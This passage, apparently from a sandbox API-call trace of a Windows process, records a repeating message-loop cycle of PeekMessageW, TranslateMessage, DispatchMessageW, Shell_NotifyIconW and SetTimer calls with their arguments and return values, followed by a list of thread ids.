hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0247.502] TranslateMessage (lpMsg=0x130f614) returned 0 [0247.502] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0247.502] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0247.506] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0247.506] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0248.252] TranslateMessage (lpMsg=0x130f86c) returned 0 [0248.252] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0248.252] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0248.254] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0248.255] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0248.991] TranslateMessage (lpMsg=0x130f86c) returned 0 [0248.991] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0248.991] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0248.994] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0248.994] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0249.741] TranslateMessage (lpMsg=0x130f86c) returned 0 [0249.741] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0249.741] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0249.744] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0249.744] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0250.491] TranslateMessage (lpMsg=0x130f204) returned 0 [0250.491] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0250.491] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0250.494] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0250.494] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0251.241] TranslateMessage (lpMsg=0x130f204) returned 0 [0251.241] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0251.241] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0251.244] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0251.244] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0251.991] TranslateMessage (lpMsg=0x130f614) returned 0 [0251.991] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0251.991] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0251.993] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0251.994] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0252.742] TranslateMessage (lpMsg=0x130f86c) returned 0 [0252.742] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0252.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0252.746] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0252.746] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0253.492] TranslateMessage (lpMsg=0x130f86c) returned 0 [0253.492] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0253.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0253.495] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0253.495] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0254.242] TranslateMessage (lpMsg=0x130f614) returned 0 [0254.242] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0254.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0254.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0254.245] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0254.992] TranslateMessage (lpMsg=0x130f204) returned 0 [0254.992] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0254.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0254.995] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0254.995] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0255.742] TranslateMessage (lpMsg=0x130f204) returned 0 [0255.742] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0255.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0255.745] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0255.745] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0256.492] TranslateMessage (lpMsg=0x130f86c) returned 0 [0256.492] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0256.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0256.495] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0256.495] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0257.246] TranslateMessage (lpMsg=0x130f86c) returned 0 [0257.246] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0257.247] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0257.250] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0257.250] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0257.987] TranslateMessage (lpMsg=0x130f614) returned 0 [0257.987] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0257.987] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0257.990] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0257.990] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0258.742] TranslateMessage (lpMsg=0x130f86c) returned 0 [0258.742] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0258.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0258.745] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0258.745] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0259.492] TranslateMessage (lpMsg=0x130f86c) returned 0 [0259.492] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0259.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0259.495] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0259.495] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0260.242] TranslateMessage (lpMsg=0x130f86c) returned 0 [0260.242] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0260.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0260.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0260.245] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0260.992] TranslateMessage (lpMsg=0x130f204) returned 0 [0260.992] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0260.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0260.995] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0260.995] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0261.742] TranslateMessage (lpMsg=0x130f86c) returned 0 [0261.742] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0261.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0261.745] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0261.745] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0262.499] TranslateMessage (lpMsg=0x130f86c) returned 0 [0262.499] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0262.499] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0262.502] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0262.502] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0263.249] TranslateMessage (lpMsg=0x130f86c) returned 0 [0263.249] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0263.249] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0263.252] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0263.252] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0263.999] TranslateMessage (lpMsg=0x130f86c) returned 0 [0263.999] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0263.999] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0264.002] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0264.002] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0264.749] TranslateMessage (lpMsg=0x130f204) returned 0 [0264.749] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0264.749] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0264.752] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0264.752] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0265.499] TranslateMessage (lpMsg=0x130f86c) returned 0 [0265.499] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0265.499] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0265.505] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0265.505] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0266.249] TranslateMessage (lpMsg=0x130f614) returned 0 [0266.249] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0266.249] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0266.252] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0266.252] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0266.999] TranslateMessage (lpMsg=0x130f204) returned 0 [0266.999] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0266.999] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0267.004] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0267.004] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0267.737] TranslateMessage (lpMsg=0x130f86c) returned 0 [0267.737] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0267.737] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0267.740] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0267.740] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0268.487] TranslateMessage (lpMsg=0x130f204) returned 0 [0268.487] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0268.487] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0268.490] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0268.490] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0269.242] TranslateMessage (lpMsg=0x130f204) returned 0 [0269.242] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0269.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0269.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0269.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0269.992] TranslateMessage (lpMsg=0x130f86c) returned 0 [0269.992] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0269.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0269.995] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0269.995] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0270.742] TranslateMessage (lpMsg=0x130f204) returned 0 [0270.742] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0270.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0270.745] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0270.745] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0271.492] TranslateMessage (lpMsg=0x130f614) returned 0 [0271.492] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0271.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0271.496] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0271.496] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0272.242] TranslateMessage (lpMsg=0x130f614) returned 0 [0272.242] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0272.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0272.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0272.245] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0272.994] TranslateMessage (lpMsg=0x130f86c) returned 0 [0272.994] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0272.994] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0272.997] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0272.997] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0273.744] TranslateMessage (lpMsg=0x130f86c) returned 0 [0273.744] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0273.744] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0273.747] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0273.747] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0274.494] TranslateMessage (lpMsg=0x130f204) returned 0 [0274.494] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0274.495] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0274.497] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0274.497] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0275.244] TranslateMessage (lpMsg=0x130f86c) returned 0 [0275.244] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0275.244] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0275.249] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0275.249] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0275.994] TranslateMessage (lpMsg=0x130f86c) returned 0 [0275.994] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0275.994] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0275.997] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0275.997] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0276.746] TranslateMessage (lpMsg=0x130f204) returned 0 [0276.746] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0276.746] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0276.749] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0276.749] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0277.487] TranslateMessage (lpMsg=0x130f86c) returned 0 [0277.487] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0277.487] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0277.490] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0277.490] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0278.237] TranslateMessage (lpMsg=0x130f204) returned 0 [0278.237] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0278.237] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0278.240] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0278.240] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0278.992] TranslateMessage (lpMsg=0x130f86c) returned 0 [0278.992] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0278.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0278.995] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0278.995] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0279.748] TranslateMessage (lpMsg=0x130f86c) returned 0 [0279.748] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0279.748] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0279.751] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0279.751] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0280.493] TranslateMessage (lpMsg=0x130f204) returned 0 [0280.493] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0280.493] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0280.497] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0280.497] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0281.242] TranslateMessage (lpMsg=0x130f86c) returned 0 [0281.242] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0281.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0281.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0281.262] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 Thread: id = 2 os_tid = 0xf14 Thread: id = 3 os_tid = 0xf20 Thread: id = 4 os_tid = 0xf24 Thread: id = 5 os_tid = 0xfa0 Thread: id = 6 os_tid = 0xfac Thread: id = 7 os_tid = 0xfb0